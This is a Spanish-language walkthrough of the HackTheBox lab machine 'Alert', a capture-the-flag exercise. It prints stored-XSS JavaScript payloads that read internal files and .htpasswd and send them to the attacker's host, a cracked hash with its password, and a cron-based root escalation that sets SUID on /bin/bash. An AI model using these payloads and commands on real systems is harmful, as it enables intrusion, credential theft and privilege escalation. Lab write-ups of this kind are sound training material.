Alert es una máquina Linux de dificultad fácil de HackTheBox. Su explotación combina un XSS almacenado en un visor de Markdown que permite leer archivos internos del servidor, cracking de un hash para acceder por SSH y una escalada de privilegios abusando de los permisos de escritura que tiene nuestro grupo sobre un script ejecutado por un cron de root.
1. Reconocimiento inicial
Añadimos la máquina al /etc/hosts:
echo "10.10.11.44 alert.htb" >> /etc/hostsEscaneamos con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn alert.htb -oN scan| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 9.2p1 Debian |
| 80/tcp | open | http | Apache httpd 2.4.62 |
Solo SSH y una web en Apache. Abrimos el navegador.
2. Enumeración web
La aplicación web es un visor de Markdown que permite subir archivos .md, visualizarlos y compartirlos con un enlace. También hay un formulario de contacto que, según el texto de la página, es revisado por un administrador.
Esto nos sugiere un escenario clásico de XSS almacenado: si conseguimos que el admin abra un archivo Markdown malicioso, podemos robarle información.
3. Explotación: XSS en Markdown para lectura de archivos
Creamos un archivo Markdown con un payload XSS que carga una URL interna y nos la exfiltra a nuestra máquina:
<script>
fetch('http://alert.htb/messages.php')
.then(r => r.text())
.then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>Subimos el archivo, copiamos el enlace de compartición y lo enviamos al administrador mediante el formulario de contacto.
Nos ponemos en escucha con un servidor HTTP simple:
python3 -m http.server 8000Al cabo de unos segundos recibimos la petición con el contenido de la página codificado en base64:
10.10.11.44 - - [15/Jan/2026] "GET /?data=PHRpdGxlPk1lc3...== HTTP/1.1" 200Decodificamos:
echo "PHRpdGxlPk1lc3..." | base64 -dEl contenido de messages.php incluye la página interna de administración. Modificamos el payload para leer archivos más interesantes, como la configuración de Apache:
<script>
fetch('http://alert.htb/messages.php?file=/etc/apache2/sites-enabled/000-default.conf')
.then(r => r.text())
.then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>En la configuración de Apache vemos que hay un virtual host adicional en el puerto 8080, accesible solo desde localhost. Apuntamos ahí:
<script>
fetch('http://localhost:8080/')
.then(r => r.text())
.then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>La respuesta contiene una página de administración con autenticación HTTP básica. Leemos el archivo .htpasswd:
<script>
fetch('http://localhost:8080/.htpasswd')
.then(r => r.text())
.then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/4. Cracking del hash y acceso SSH
Guardamos el hash en un archivo y lo crackeamos con Hashcat:
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunitedAccedemos por SSH con las credenciales obtenidas:
ssh albert@alert.htbcat user.txtFlag de usuario conseguida.
5. Escalada de privilegios: cron job con permisos de grupo
Enumeramos los grupos a los que pertenece nuestro usuario:
iduid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)Pertenecemos al grupo management. Buscamos archivos que ese grupo pueda escribir:
find / -group management -writable 2>/dev/null/opt/website-monitor/config/configuration.phpComprobamos si hay algún proceso ejecutando ese archivo:
ps aux | grep phproot /usr/bin/php /opt/website-monitor/monitor.phpEl script monitor.php incluye configuration.php y lo ejecuta root periódicamente. Como podemos escribir sobre configuration.php, inyectamos código PHP malicioso:
echo '<?php exec("chmod +s /bin/bash"); ?>' >> /opt/website-monitor/config/configuration.phpEsperamos a que el cron lo ejecute (menos de un minuto) y comprobamos:
ls -la /bin/bash-rwsr-sr-x 1 root root 1265648 /bin/bashEl bit SUID está activado. Obtenemos la shell de root:
bash -pwhoamirootcat /root/root.txtResumen de técnicas utilizadas
- Enumeración de servicios con Nmap
- XSS almacenado en un visor de Markdown para exfiltrar contenido del servidor
- Arbitrary file read mediante fetch desde el contexto del admin
- Descubrimiento de virtual host interno en localhost
- Cracking de hash APR-MD5 con Hashcat
- Escalada de privilegios abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root